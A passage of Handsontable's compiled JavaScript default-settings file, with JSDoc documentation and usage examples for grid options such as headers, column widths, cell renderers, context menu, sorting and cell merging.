only if `data` option is not provided * * @type {Number} * @default 5 * * @example * ```js * // start with 15 empty columns * startCols: 15, * ``` */ startCols: 5, /** * Setting `true` or `false` will enable or disable the default row headers (1, 2, 3). * You can also define an array `['One', 'Two', 'Three', ...]` or a function to define the headers. * If a function is set the index of the row is passed as a parameter. * * @type {Boolean|String[]|Function} * @default undefined * * @example * ```js * // as a boolean * rowHeaders: true, * * // as an array * rowHeaders: ['1', '2', '3'], * * // as a function * rowHeaders: function(index) { * return index + ': AB'; * }, * ``` */ rowHeaders: void 0, /** * Setting `true` or `false` will enable or disable the default column headers (A, B, C). * You can also define an array `['One', 'Two', 'Three', ...]` or a function to define the headers. * If a function is set, then the index of the column is passed as a parameter. * * @type {Boolean|String[]|Function} * @default null * * @example * ```js * // as a boolean * colHeaders: true, * * // as an array * colHeaders: ['A', 'B', 'C'], * * // as a function * colHeaders: function(index) { * return index + ': AB'; * }, * ``` */ colHeaders: null, /** * Defines column widths in pixels. Accepts number, string (that will be converted to a number), array of numbers * (if you want to define column width separately for each column) or a function (if you want to set column width * dynamically on each render). * * @type {Number|Number[]|String|String[]|Function} * @default undefined * * @example * ```js * // as a number, for each column. * colWidths: 100, * * // as a string, for each column. * colWidths: '100px', * * // as an array, based on visual indexes. The rest of the columns have a default width. * colWidths: [100, 120, 90], * * // as a function, based on visual indexes. * colWidths: function(index) { * return index * 10; * }, * ``` */ colWidths: void 0, /** * Defines row heights in pixels. Accepts numbers, strings (that will be converted into a number), array of numbers * (if you want to define row height separately for each row) or a function (if you want to set row height dynamically * on each render). * * If the {@link ManualRowResize} or {@link AutoRowSize} plugins are enabled, this is also the minimum height that can * be set via either of those two plugins. * * Height should be equal or greater than 23px. Table is rendered incorrectly if height is less than 23px. * * @type {Number|Number[]|String|String[]|Function} * @default undefined * * @example * ```js * // as a number, the same for all rows * rowHeights: 100, * * // as a string, the same for all row * rowHeights: '100px', * * // as an array, based on visual indexes. The rest of the rows have a default height * rowHeights: [100, 120, 90], * * // as a function, based on visual indexes * rowHeights: function(index) { * return index * 10; * }, * ``` */ rowHeights: void 0, /** * @description * Defines the cell properties and data binding for certain columns. * * __Note:__ Using this option sets a fixed number of columns (options `startCols`, `minCols`, `maxCols` will be ignored). * * See [documentation -> datasources.html](https://docs.handsontable.com/tutorial-data-sources.html#page-nested) for examples. * * @type {Object[]|Function} * @default undefined * * @example * ```js * // as an array of objects * // order of the objects in array is representation of physical indexes. * columns: [ * { * // column options for the first column * type: 'numeric', * numericFormat: { * pattern: '0,0.00 $' * } * }, * { * // column options for the second column * type: 'text', * readOnly: true * } * ], * * // or as a function, based on physical indexes * columns: function(index) { * return { * type: index > 0 ? 'numeric' : 'text', * readOnly: index < 1 * } * } * ``` */ columns: void 0, /** * @description * Defines the cell properties for given `row`, `col`, `prop` coordinates. Any constructor or column option may be * overwritten for a particular cell (row/column combination) using the `cells` property in the Handsontable constructor. * * __Note:__ Parameters `row` and `col` always represent __physical indexes__. Example below show how to execute * operations based on the __visual__ representation of Handsontable. * * Possible values of `prop`: * - property name for column's data source object, when dataset is an [array of objects](/tutorial-data-sources.html#page-object) * - the same number as `col`, when dataset is an [array of arrays](/tutorial-data-sources.html#page-array) * * @type {Function} * @default undefined * * @example * ```js * cells: function(row, column, prop) { * const cellProperties = {}; * const visualRowIndex = this.instance.toVisualRow(row); * const visualColIndex = this.instance.toVisualColumn(column); * * if (visualRowIndex === 0 && visualColIndex === 0) { * cellProperties.readOnly = true; * } * * return cellProperties; * }, * ``` */ cells: void 0, /** * Any constructor or column option may be overwritten for a particular cell (row/column combination), using `cell` * array passed to the Handsontable constructor. * * @type {Array[]} * @default [] * * @example * ```js * // make cell with coordinates (0, 0) read only * cell: [ * { * row: 0, * col: 0, * readOnly: true * } * ], * ``` */ cell: [], /** * @description * If `true`, enables the {@link Comments} plugin, which enables an option to apply cell comments through the context menu * (configurable with context menu keys `commentsAddEdit`, `commentsRemove`). * * To initialize Handsontable with predefined comments, provide cell coordinates and comment text values in a form of * an array. * * See [Comments](https://docs.handsontable.com/demo-comments_.html) demo for examples. * * @type {Boolean|Object[]} * @default false * * @example * ```js * // enable comments plugin * comments: true, * * // or * // enable comments plugin and add predefined comments * comments: [ * { * row: 1, * col: 1, * comment: { * value: "Test comment" * } * } * ], * ``` */ comments: false, /** * @description * If `true`, enables the {@link CustomBorders} plugin, which enables an option to apply custom borders through the context * menu (configurable with context menu key `borders`). To initialize Handsontable with predefined custom borders, * provide cell coordinates and border styles in a form of an array. * * See [Custom Borders](https://docs.handsontable.com/demo-custom-borders.html) demo for examples. * * @type {Boolean|Object[]} * @default false * * @example * ```js * // enable custom borders * customBorders: true, * * // or * // enable custom borders and start with predefined left border * customBorders: [ * { * range: { * from: { * row: 1, * col: 1 * }, * to: { * row: 3, * col: 4 * } * }, * left: { * width: 2, * color: 'red' * }, * right: {}, * top: {}, * bottom: {} * } * ], * * // or * customBorders: [ * { * row: 2, * col: 2, * left: { * width: 2, * color: 'red' * }, * right: { * width: 1, * color: 'green' * }, * top: '', * bottom: '' * } * ], * ``` */ customBorders: false, /** * Minimum number of rows. At least that number of rows will be created during initialization. * * @type {Number} * @default 0 * * @example * ```js * // set minimum table size to 10 rows * minRows: 10, * ``` */ minRows: 0, /** * Minimum number of columns. At least that number of columns will be created during initialization. * * @type {Number} * @default 0 * * @example * ```js * // set minimum table size to 10 columns * minCols: 10, * ``` */ minCols: 0, /** * Maximum number of rows. If set to a value lower than the initial row count, the data will be trimmed to the provided * value as the number of rows. * * @type {Number} * @default Infinity * * @example * ```js * // limit table size to maximum 300 rows * maxRows: 300, * ``` */ maxRows: Infinity, /** * Maximum number of cols. If set to a value lower than the initial col count, the data will be trimmed to the provided * value as the number of cols. * * @type {Number} * @default Infinity * * @example * ```js * // limit table size to maximum 300 columns * maxCols: 300, * ``` */ maxCols: Infinity, /** * When set to 1 (or more), Handsontable will add a new row at the end of grid if there are no more empty rows. * (unless the number of rows exceeds the one set in the `maxRows` property) * * @type {Number} * @default 0 * * @example * ```js * // always add 3 empty rows at the table end * minSpareRows: 3, * ``` */ minSpareRows: 0, /** * When set to 1 (or more), Handsontable will add a new column at the end of grid if there are no more empty columns. * (unless the number of rows exceeds the one set in the `maxCols` property) * * @type {Number} * @default 0 * * @example * ```js * // always add 3 empty columns at the table end * minSpareCols: 3, * ``` */ minSpareCols: 0, /** * If set to `false`, there won't be an option to insert new rows in the Context Menu. * * @type {Boolean} * @default true * * @example * ```js * // hide "Insert row above" and "Insert row below" options from the Context Menu * allowInsertRow: false, * ``` */ allowInsertRow: true, /** * If set to `false`, there won't be an option to insert new columns in the Context Menu. * * @type {Boolean} * @default true * * @example * ```js * // hide "Insert column left" and "Insert column right" options from the Context Menu * allowInsertColumn: false, * ``` */ allowInsertColumn: true, /** * If set to `false`, there won't be an option to remove rows in the Context Menu. * * @type {Boolean} * @default true * * @example * ```js * // hide "Remove row" option from the Context Menu * allowRemoveRow: false, * ``` */ allowRemoveRow: true, /** * If set to `false`, there won't be an option to remove columns in the Context Menu. * * @type {Boolean} * @default true * * @example * ```js * // hide "Remove column" option from the Context Menu * allowRemoveColumn: false, * ``` */ allowRemoveColumn: true, /** * @description * Defines how the table selection reacts. The selection support three different behaviors defined as: * * `'single'` Only a single cell can be selected. * * `'range'` Multiple cells within a single range can be selected. * * `'multiple'` Multiple ranges of cells can be selected. * * To see how to interact with selection by getting selected data or change styles of the selected cells go to * [https://docs.handsontable.com/demo-selecting-ranges.html](https://docs.handsontable.com/demo-selecting-ranges.html). * * @type {String} * @default 'multiple' * * @example * ```js * // only one cell can be selected at a time * selectionMode: 'single', * ``` */ selectionMode: 'multiple', /** * Enables the fill handle (drag-down and copy-down) functionality, which shows a small rectangle in bottom * right corner of the selected area, that let's you expand values to the adjacent cells. * * Setting to `true` enables the fillHandle plugin. Possible values: `true` (to enable in all directions), * `'vertical'` or `'horizontal'` (to enable in one direction), `false` (to disable completely), an object with * options: `autoInsertRow`, `direction`. * * If `autoInsertRow` option is `true`, fill-handler will create new rows till it reaches the last row. * It is enabled by default. * * @type {Boolean|String|Object} * @default true * * @example * ```js * // enable plugin in all directions and with autoInsertRow as true * fillHandle: true, * * // or * // enable plugin in vertical direction and with autoInsertRow as true * fillHandle: 'vertical', * * // or * fillHandle: { * // enable plugin in both directions and with autoInsertRow as false * autoInsertRow: false, * }, * * // or * fillHandle: { * // enable plugin in vertical direction and with autoInsertRow as false * autoInsertRow: false, * direction: 'vertical' * }, * ``` */ fillHandle: { autoInsertRow: false }, /** * Allows to specify the number of fixed (or *frozen*) rows at the top of the table. * * @type {Number} * @default 0 * * @example * ```js * // freeze the first 3 rows of the table. * fixedRowsTop: 3, * ``` */ fixedRowsTop: 0, /** * Allows to specify the number of fixed (or *frozen*) rows at the bottom of the table. * * @type {Number} * @default 0 * * @example * ```js * // freeze the last 3 rows of the table. * fixedRowsBottom: 3, * ``` */ fixedRowsBottom: 0, /** * Allows to specify the number of fixed (or *frozen*) columns on the left of the table. * * @type {Number} * @default 0 * * @example * ```js * // freeze first 3 columns of the table. * fixedColumnsLeft: 3, * ``` */ fixedColumnsLeft: 0, /** * If `true`, mouse click outside the grid will deselect the current selection. Can be a function that takes the * click event target and returns a boolean. * * @type {Boolean|Function} * @default true * * @example * ```js * // don't clear current selection when mouse click was outside the grid * outsideClickDeselects: false, * * // or * outsideClickDeselects: function(event) { * return false; * } * ``` */ outsideClickDeselects: true, /** * If `true`, ENTER begins editing mode (like in Google Docs). If `false`, ENTER moves to next * row (like Excel) and adds a new row if necessary. TAB adds new column if necessary. * * @type {Boolean} * @default true * * @example * ```js * enterBeginsEditing: false, * ``` */ enterBeginsEditing: true, /** * Defines the cursor movement after ENTER was pressed (SHIFT + ENTER uses a negative vector). Can * be an object or a function that returns an object. The event argument passed to the function is a DOM Event object * received after the ENTER key has been pressed. This event object can be used to check whether user pressed * ENTER or SHIFT + ENTER. * * @type {Object|Function} * @default {row: 1, col: 0} * * @example * ```js * // move selection diagonal by 1 cell in x and y axis * enterMoves: {row: 1, col: 1}, * // or as a function * enterMoves: function(event) { * return {row: 1, col: 1}; * }, * ``` */ enterMoves: { row: 1, col: 0 }, /** * Defines the cursor movement after TAB is pressed (SHIFT + TAB uses a negative vector). Can * be an object or a function that returns an object. The event argument passed to the function is a DOM Event object * received after the TAB key has been pressed. This event object can be used to check whether user pressed * TAB or SHIFT + TAB. * * @type {Object|Function} * @default {row: 0, col: 1} * * @example * ```js * // move selection 2 cells away after TAB pressed. * tabMoves: {row: 2, col: 2}, * // or as a function * tabMoves: function(event) { * return {row: 2, col: 2}; * }, * ``` */ tabMoves: { row: 0, col: 1 }, /** * If `true`, pressing TAB or right arrow in the last column will move to first column in next row. * * @type {Boolean} * @default true * * @example * ```js * // stop TAB key navigation on the last column * autoWrapRow: false, * ``` */ autoWrapRow: true, /** * If `true`, pressing ENTER or down arrow in the last row will move to the first row in the next column. * * @type {Boolean} * @default true * * @example * ```js * // stop ENTER key navigation on the last row * autoWrapCol: false, * ``` */ autoWrapCol: true, /** * @description * Turns on saving the state of column sorting, column positions and column sizes in local storage. * * You can save any sort of data in local storage to preserve table state between page reloads. In order to enable * data storage mechanism, `persistentState` option must be set to `true` (you can set it either during Handsontable * initialization or using the `updateSettings` method). When `persistentState` is enabled it exposes 3 hooks: * * __persistentStateSave__ (key: String, value: Mixed) * * * Saves value under given key in browser local storage. * * __persistentStateLoad__ (key: String, valuePlaceholder: Object) * * * Loads `value`, saved under given key, form browser local storage. The loaded `value` will be saved in * `valuePlaceholder.value` (this is due to specific behaviour of `Hooks.run()` method). If no value have * been saved under key `valuePlaceholder.value` will be `undefined`. * * __persistentStateReset__ (key: String) * * * Clears the value saved under `key`. If no `key` is given, all values associated with table will be cleared. * * __Note:__ The main reason behind using `persistentState` hooks rather than regular LocalStorage API is that it * ensures separation of data stored by multiple Handsontable instances. In other words, if you have two (or more) * instances of Handsontable on one page, data saved by one instance won't be accessible by the second instance. * Those two instances can store data under the same key and no data would be overwritten. * * __Important:__ In order for the data separation to work properly, make sure that each instance of Handsontable has a unique `id`. * * @type {Boolean} * @default false * * @example * ```js * // enable the persistent state plugin * persistentState: true, * ``` */ persistentState: void 0, /** * Class name for all visible rows in the current selection. * * @type {String} * @default undefined * * @example * ```js * // This will add a 'currentRow' class name to appropriate table cells. * currentRowClassName: 'currentRow', * ``` */ currentRowClassName: void 0, /** * Class name for all visible columns in the current selection. * * @type {String} * @default undefined * * @example * ```js * // This will add a 'currentColumn' class name to appropriate table cells. * currentColClassName: 'currentColumn', * ``` */ currentColClassName: void 0, /** * Class name for all visible headers in current selection. * * @type {String} * @default 'ht__highlight' * * @example * ```js * // This will add a 'ht__highlight' class name to appropriate table headers. * currentHeaderClassName: 'ht__highlight', * ``` */ currentHeaderClassName: 'ht__highlight', /** * Class name for all active headers in selections. The header will be marked with this class name * only when a whole column or row will be selected. * * @type {String} * @since 0.38.2 * @default 'ht__active_highlight' * * @example * ```js * // this will add a 'ht__active_highlight' class name to appropriate table headers. * activeHeaderClassName: 'ht__active_highlight', * ``` */ activeHeaderClassName: 'ht__active_highlight', /** * Class name for the Handsontable container element. * * @type {String|String[]} * @default undefined * * @example * ```js * // set custom class for table container * className: 'your__class--name', * * // or * className: ['first-class-name', 'second-class-name'], * ``` */ className: void 0, /** * Class name for all tables inside container element. * * @type {String|String[]} * @default undefined * * @example * ```js * // set custom class for table element * tableClassName: 'your__class--name', * * // or * tableClassName: ['first-class-name', 'second-class-name'], * ``` */ tableClassName: void 0, /** * @description * Defines how the columns react, when the declared table width is different than the calculated sum of all column widths. * [See more](https://docs.handsontable.com/demo-stretching.html) mode. Possible values: * * `'none'` Disable stretching * * `'last'` Stretch only the last column * * `'all'` Stretch all the columns evenly * * @type {String} * @default 'none' * * @example * ```js * // fit table to the container * stretchH: 'all', * ``` */ stretchH: 'none', /** * Overwrites the default `isEmptyRow` method, which checks if row at the provided index is empty. * * @type {Function} * @param {Number} row Visual row index. * @returns {Boolean} * * @example * ```js * // define custom checks for empty row * isEmptyRow: function(row) { * ... * }, * ``` */ isEmptyRow: function isEmptyRow(row) { var col; var colLen; var value; var meta; for (col = 0, colLen = this.countCols(); col < colLen; col++) { value = this.getDataAtCell(row, col); if (value !== '' && value !== null && (0, _mixed.isDefined)(value)) { if (_typeof(value) === 'object') { meta = this.getCellMeta(row, col); return (0, _object.isObjectEqual)(this.getSchema()[meta.prop], value); } return false; } } return true; }, /** * Overwrites the default `isEmptyCol` method, which checks if column at the provided index is empty. * * @type {Function} * @param {Number} column Visual column index * @returns {Boolean} * * @example * ```js * // define custom checks for empty column * isEmptyCol: function(column) { * return false; * }, * ``` */ isEmptyCol: function isEmptyCol(col) { var row; var rowLen; var value; for (row = 0, rowLen = this.countRows(); row < rowLen; row++) { value = this.getDataAtCell(row, col); if (value !== '' && value !== null && (0, _mixed.isDefined)(value)) { return false; } } return true; }, /** * When set to `true`, the table is re-rendered when it is detected that it was made visible in DOM. * * @type {Boolean} * @default true * * @example * ```js * // don't rerender the table on visibility changes * observeDOMVisibility: false, * ``` */ observeDOMVisibility: true, /** * If set to `true`, Handsontable will accept values that were marked as invalid by the cell `validator`. It will * result with *invalid* cells being treated as *valid* (will save the *invalid* value into the Handsontable data source). * If set to `false`, Handsontable will *not* accept the invalid values and won't allow the user to close the editor. * This option will be particularly useful when used with the Autocomplete's `strict` mode. * * @type {Boolean} * @default true * * @example * ```js * // don't save the invalid values * allowInvalid: false, * ``` */ allowInvalid: true, /** * If set to `true`, Handsontable will accept values that are empty (`null`, `undefined` or `''`). If set to `false`, * Handsontable will *not* accept the empty values and mark cell as invalid. * * @type {Boolean} * @default true * * @example * ```js * // allow empty values for all cells (whole table) * allowEmpty: true, * * // or * columns: [ * { * data: 'date', * dateFormat: 'DD/MM/YYYY', * // allow empty values only for the 'date' column * allowEmpty: true * } * ], * ``` */ allowEmpty: true, /** * CSS class name for cells that did not pass validation. * * @type {String} * @default 'htInvalid' * * @example * ```js * // set custom validation error class * invalidCellClassName: 'highlight--error', * ``` */ invalidCellClassName: 'htInvalid', /** * When set to an non-empty string, displayed as the cell content for empty cells. If a value of a different type is provided, * it will be stringified and applied as a string. * * @type {String} * @default undefined * * @example * ```js * // add custom placeholder content to empty cells * placeholder: 'Empty Cell', * ``` */ placeholder: void 0, /** * CSS class name for cells that have a placeholder in use. * * @type {String} * @default 'htPlaceholder' * * @example * ```js * // set custom placeholder class * placeholderCellClassName: 'has-placeholder', * ``` */ placeholderCellClassName: 'htPlaceholder', /** * CSS class name for read-only cells. * * @type {String} * @default 'htDimmed' * * @example * ```js * // set custom read-only class * readOnlyCellClassName: 'is-readOnly', * ``` */ readOnlyCellClassName: 'htDimmed', /** * @description * If a string is provided, it may be one of the following predefined values: * * `autocomplete`, * * `checkbox`, * * `html`, * * `numeric`, * * `password`. * * `text`. * * Or you can [register](https://docs.handsontable.com/demo-custom-renderers.html) the custom renderer under specified name and use its name as an alias in your * configuration. * * If a function is provided, it will receive the following arguments: * ```js * function(instance, TD, row, col, prop, value, cellProperties) {} * ``` * * You can read more about custom renderes [in the documentation](https://docs.handsontable.com/demo-custom-renderers.html). * * @type {String|Function} * @default undefined * * @example * ```js * // register custom renderer * Handsontable.renderers.registerRenderer('my.renderer', function(instance, TD, row, col, prop, value, cellProperties) { * TD.innerHTML = value; * }); * * // use it for selected column: * columns: [ * { * // as a string with the name of build in renderer * renderer: 'autocomplete', * editor: 'select' * }, * { * // as an alias to custom renderer registered above * renderer: 'my.renderer' * }, * { * // renderer as custom function * renderer: function(hotInstance, TD, row, col, prop, value, cellProperties) { * TD.style.color = 'blue'; * TD.innerHTML = value; * } * } * ], * ``` */ renderer: void 0, /** * CSS class name added to the commented cells. * * @type {String} * @default 'htCommentCell' * * @example * ```js * // set custom class for commented cells * commentedCellClassName: 'has-comment', * ``` */ commentedCellClassName: 'htCommentCell', /** * If set to `true`, it enables the browser's native selection of a fragment of the text within a single cell, between * adjacent cells or in a whole table. If set to `'cell'`, it enables the possibility of selecting a fragment of the * text within a single cell's body. * * @type {Boolean|String} * @default false * * @example * ```js * // enable text selection within table * fragmentSelection: true, * * // or * // enable text selection within cells only * fragmentSelection: 'cell', * ``` */ fragmentSelection: false, /** * @description * Makes cell [read only](https://docs.handsontable.com/demo-read-only.html). * * @type {Boolean} * @default false * * @example * ```js * // set cell as read only * readOnly: true, * ``` */ readOnly: false, /** * @description * When added to a `column` property, it skips the column on paste and pastes the data on the next column to the right. * * @type {Boolean} * @default false * * @example * ```js * columns: [ * { * // don't paste data to this column * skipColumnOnPaste: true * } * ], * ``` */ skipColumnOnPaste: false, /** * @description * Setting to `true` enables the {@link Search} plugin (see [demo](https://docs.handsontable.com/demo-search-for-values.html)). * * @type {Boolean} * @default false * * @example * ```js * // enable search plugin * search: true, * * // or * // as an object with detailed configuration * search: { * searchResultClass: 'customClass', * queryMethod: function(queryStr, value) { * ... * }, * callback: function(instance, row, column, value, result) { * ... * } * } * ``` */ search: false, /** * @description * Shortcut to define the combination of the cell renderer, editor and validator for the column, cell or whole table. * * Possible values: * * [autocomplete](https://docs.handsontable.com/demo-autocomplete.html) * * [checkbox](https://docs.handsontable.com/demo-checkbox.html) * * [date](https://docs.handsontable.com/demo-date.html) * * [dropdown](https://docs.handsontable.com/demo-dropdown.html) * * [handsontable](https://docs.handsontable.com/demo-handsontable.html) * * [numeric](https://docs.handsontable.com/demo-numeric.html) * * [password](https://docs.handsontable.com/demo-password.html) * * text * * [time](https://docs.handsontable.com/demo-time.html) * * Or you can register the custom cell type under specified name and use * its name as an alias in your configuration. * * @type {String} * @default 'text' * * @example * ```js * // register custom cell type: * Handsontable.cellTypes.registerCellType('my.type', { * editor: MyEditorClass, * renderer: function(hot, td, row, col, prop, value, cellProperties) { * td.innerHTML = value; * }, * validator: function(value, callback) { * callback(value === 'foo' ? true : false); * } * }); * * // use it in column settings: * columns: [ * { * type: 'text' * }, * { * // an alias to custom type * type: 'my.type' * }, * { * type: 'checkbox' * } * ], * ``` */ type: 'text', /** * @description * Makes a cell copyable (pressing CTRL + C on your keyboard moves its value to system clipboard). * * __Note:__ this setting is `false` by default for cells with type `password`. * * @type {Boolean} * @default true * * @example * ```js * cells: [ * { * cell: 0, * row: 0, * // cell with coordinates (0, 0) can't be copied * copyable: false, * } * ], * ``` */ copyable: true, /** * Defines the editor for the table/column/cell. * * If a string is provided, it may be one of the following predefined values: * * [autocomplete](https://docs.handsontable.com/demo-autocomplete.html) * * [checkbox](https://docs.handsontable.com/demo-checkbox.html) * * [date](https://docs.handsontable.com/demo-date.html) * * [dropdown](https://docs.handsontable.com/demo-dropdown.html) * * [handsontable](https://docs.handsontable.com/demo-handsontable.html) * * [mobile](https://docs.handsontable.com/demo-mobiles-and-tablets.html) * * [password](https://docs.handsontable.com/demo-password.html) * * [select](https://docs.handsontable.com/demo-select.html) * * text * * Or you can [register](https://docs.handsontable.com/tutorial-cell-editor.html#registering-an-editor) the custom editor under specified name and use its name as an alias in your * configuration. * * To disable cell editing completely set `editor` property to `false`. * * @type {String|Function|Boolean} * @default undefined * * @example * ```js * columns: [ * { * // set editor for the first column * editor: 'select' * }, * { * // disable editor for the second column * editor: false * } * ], * ``` */ editor: void 0, /** * Control number of choices for the autocomplete (or dropdown) typed cells. After exceeding it, a scrollbar for the * dropdown list of choices will appear. * * @type {Number} * @default 10 * * @example * ```js * columns: [ * { * type: 'autocomplete', * // set autocomplete options list height * visibleRows: 15, * } * ], * ``` */ visibleRows: 10, /** * Makes autocomplete or dropdown width the same as the edited cell width. If `false` then editor will be scaled * according to its content. * * @type {Boolean} * @default true * * @example * ```js * columns: [ * { * type: 'autocomplete', * // don't trim dropdown width with column width * trimDropdown: false, * } * ], * ``` */ trimDropdown: true, /** * Setting to `true` enables the debug mode, currently used to test the correctness of the row and column * header fixed positioning on a layer above the master table. * * @type {Boolean} * @default false * * @example * ```js * // enable debug mode * debug: true, * ``` */ debug: false, /** * When set to `true`, the text of the cell content is wrapped if it does not fit in the fixed column width. * * @type {Boolean} * @default true * * @example * ```js * colWidths: 100, * columns: [ * { * // fixed column width is set but don't wrap the content * wordWrap: false, * } * ], * ``` */ wordWrap: true, /** * CSS class name added to cells with cell meta `wordWrap: false`. * * @type {String} * @default 'htNoWrap' * * @example * ```js * // set custom class for cells which content won't be wrapped * noWordWrapClassName: 'is-noWrapCell', * ``` */ noWordWrapClassName: 'htNoWrap', /** * @description * Defines if the right-click context menu should be enabled. Context menu allows to create new row or column at any * place in the grid among [other features](https://docs.handsontable.com/demo-context-menu.html). * Possible values: * * `true` (to enable default options), * * `false` (to disable completely) * * an array of [predefined options](https://docs.handsontable.com/demo-context-menu.html#page-specific), * * an object [with defined structure](https://docs.handsontable.com/demo-context-menu.html#page-custom) * * See [the context menu demo](https://docs.handsontable.com/demo-context-menu.html) for examples. * * @type {Boolean|String[]|Object} * @default undefined * * @example * ```js * // as a boolean * contextMenu: true, * * // as an array * contextMenu: ['row_above', 'row_below', '--------', 'undo', 'redo'], * * // as an object (`name` attribute is required in the custom keys) * contextMenu: { * items: { * "option1": { * name: "option1" * }, * "option2": { * name: "option2", * submenu: { * items: [ * { * key: "option2:suboption1", * name: "option2:suboption1", * callback: function(key, options) { * ... * } * }, * ... * ] * } * } * } * }, * ``` */ contextMenu: void 0, /** * Disables or enables the copy/paste functionality. * * @type {Boolean} * @default true * * @example * ```js * // disable copy and paste * copyPaste: false, * ``` */ copyPaste: true, /** * If `true`, undo/redo functionality is enabled. * * @type {Boolean} * @default undefined * * @example * ```js * // enable undo and redo * undo: true, * ``` */ undo: void 0, /** * @description * Turns on [Column sorting](https://docs.handsontable.com/demo-sorting-data.html). Can be either a boolean (`true` / `false`) or an object with a declared sorting options: * * `initialConfig` - Object with predefined keys: * * `column` - sorted column * * `sortOrder` - order in which column will be sorted * * `'asc'` = ascending * * `'desc'` = descending * * `indicator` - display status for sorting order indicator (an arrow icon in the column header, specifying the sorting order). * * `true` = show sort indicator for sorted columns * * `false` = don't show sort indicator for sorted columns * * `headerAction` - allow to click on the headers to sort * * `true` = turn on possibility to click on the headers to sort * * `false` = turn off possibility to click on the headers to sort * * `sortEmptyCells` - how empty values should be handled * * `true` = the table sorts empty cells * * `false` = the table moves all empty cells to the end of the table * * `compareFunctionFactory` - curry function returning compare function; compare function should work in the same way as function which is handled by native `Array.sort` method); please take a look at below examples for more information. * * @type {Boolean|Object} * @default undefined * * @example * ```js * // as boolean * columnSorting: true * * // as an object with initial sort config (sort ascending for column at index 1) * columnSorting: { * initialConfig: { * column: 1, * sortOrder: 'asc' * } * } * * // as an object which define specific sorting options for all columns * columnSorting: { * sortEmptyCells: true, // true = the table sorts empty cells, false = the table moves all empty cells to the end of the table * indicator: true, // true = shows indicator for all columns, false = don't show indicator for columns * headerAction: false, // true = allow to click on the headers to sort, false = turn off possibility to click on the headers to sort * compareFunctionFactory: function(sortOrder, columnMeta) { * return function(value, nextValue) { * // Some value comparisons which will return -1, 0 or 1... * } * } * }``` */ columnSorting: void 0, /** * Turns on [Manual column move](https://docs.handsontable.com/demo-moving-rows-and-columns.html), if set to a boolean or define initial column order (as an array of column indexes). * * @type {Boolean|Number[]} * @default undefined * * @example * ```js * // as a boolean to enable column move * manualColumnMove: true, * * // as a array with initial order * // (move column index at 0 to 1 and move column index at 1 to 4) * manualColumnMove: [1, 4], * ``` */ manualColumnMove: void 0, /** * @description * Turns on [Manual column resize](https://docs.handsontable.com/demo-resizing.html), if set to a boolean or define initial column resized widths (an an array of widths). * * @type {Boolean|Number[]} * @default undefined * * @example * ```js * // as a boolean to enable column resize * manualColumnResize: true, * * // as a array with initial widths * // (column at 0 index has 40px and column at 1 index has 50px) * manualColumnResize: [40, 50], * ``` */ manualColumnResize: void 0, /** * @description * Turns on [Manual row move](https://docs.handsontable.com/demo-moving-rows-and-columns.html), if set to a boolean or define initial row order (as an array of row indexes). * * @type {Boolean|Number[]} * @default undefined * * @example * ```js * // as a boolean * manualRowMove: true, * * // as a array with initial order * // (move row index at 0 to 1 and move row index at 1 to 4) * manualRowMove: [1, 4], * ``` */ manualRowMove: void 0, /** * @description * Turns on [Manual row resize](https://docs.handsontable.com/demo-resizing.html), if set to a boolean or define initial row resized heights (as an array of heights). * * @type {Boolean|Number[]} * @default undefined * * @example * ```js * // as a boolean to enable row resize * manualRowResize: true, * * // as an array to set initial heights * // (row at 0 index has 40px and row at 1 index has 50px) * manualRowResize: [40, 50], * ``` */ manualRowResize: void 0, /** * @description * If set to `true`, it enables a possibility to merge cells. If set to an array of objects, it merges the cells provided * in the objects (see the example below). More information on [the demo page](https://docs.handsontable.com/demo-merge-cells.html). * * @type {Boolean|Object[]} * @default false * * @example * ```js * // enables the mergeCells plugin * margeCells: true, * * // declares a list of merged sections * mergeCells: [ * // rowspan and colspan properties declare the width and height of a merged section in cells * {row: 1, col: 1, rowspan: 3, colspan: 3}, * {row: 3, col: 4, rowspan: 2, colspan: 2}, * {row: 5, col: 6, rowspan: 3, colspan: 3} * ], * ``` */ mergeCells: false, /** * @description * Turns on [Multi-column sorting](https://docs.handsontable.com/pro/demo-multicolumn-sorting.html). Can be either a boolean (`true` / `false`) or an object with a declared sorting options: * * `initialConfig` - Array containing objects, every with predefined keys: * * `column` - sorted column * * `sortOrder` - order in which column will be sorted * * `'asc'` = ascending * * `'desc'` = descending * * `indicator` - display status for sorting order indicator (an arrow icon in the column header, specifying the sorting order). * * `true` = show sort indicator for sorted columns * * `false` = don't show sort indicator for sorted columns * * `headerAction` - allow to click on the headers to sort * * `true` = turn on possibility to click on the headers to sort * * `false` = turn off possibility to click on the headers to sort * * `sortEmptyCells` - how empty values should be handled * * `true` = the table sorts empty cells * * `false` = the table moves all empty cells to the end of the table * * `compareFunctionFactory` - curry function returning compare function; compare function should work in the same way as function which is handled by native `Array.sort` method); please take a look at below examples for more information. * * @pro * @type {Boolean|Object} * @default undefined * * @example * ```js * // as boolean * multiColumnSorting: true * * // as an object with initial sort config (sort ascending for column at index 1 and then sort descending for column at index 0) * multiColumnSorting: { * initialConfig: [{ * column: 1, * sortOrder: 'asc' * }, { * column: 0, * sortOrder: 'desc' * }] * } * * // as an object which define specific sorting options for all columns * multiColumnSorting: { * sortEmptyCells: true, // true = the table sorts empty cells, false = the table moves all empty cells to the end of the table * indicator: true, // true = shows indicator for all columns, false = don't show indicator for columns * headerAction: false, // true = allow to click on the headers to sort, false = turn off possibility to click on the headers to sort * compareFunctionFactory: function(sortOrder, columnMeta) { * return function(value, nextValue) { * // Some value comparisons which will return -1, 0 or 1... * } * } * }``` */ multiColumnSorting: void 0, /** * @description * Number of rows to be rendered outside of the visible part of the table. By default, it's set to `'auto'`, which * makes Handsontable to attempt to calculate the best offset performance-wise. * * You may test out different values to find the best one that works for your specific implementation. * * @type {Number|String} * @default 'auto' * * @example * ```js * viewportRowRenderingOffset: 70, * ``` */ viewportRowRenderingOffset: 'auto', /** * @description * Number of columns to be rendered outside of the visible part of the table. By default, it's set to `'auto'`, which * makes Handsontable try calculating the best offset performance-wise. * * You may experiment with the value to find the one that works best for your specific implementation. * * @type {Number|String} * @default 'auto' * * @example * ```js * viewportColumnRenderingOffset: 70, * ``` */ viewportColumnRenderingOffset: 'auto', /** * @description * A function, regular expression or a string, which will be used in the process of cell validation. If a function is * used, be sure to execute the callback argument with either `true` (`callback(true)`) if the validation passed * or with `false` (`callback(false)`), if the validation failed. * * __Note__, that `this` in the function points to the `cellProperties` object. * * If a string is provided, it may be one of the following predefined values: * * `autocomplete`, * * `date`, * * `numeric`, * * `time`. * * Or you can [register](https://docs.handsontable.com/demo-data-validation.html) the validator function under specified name and use its name as an alias in your * configuration. 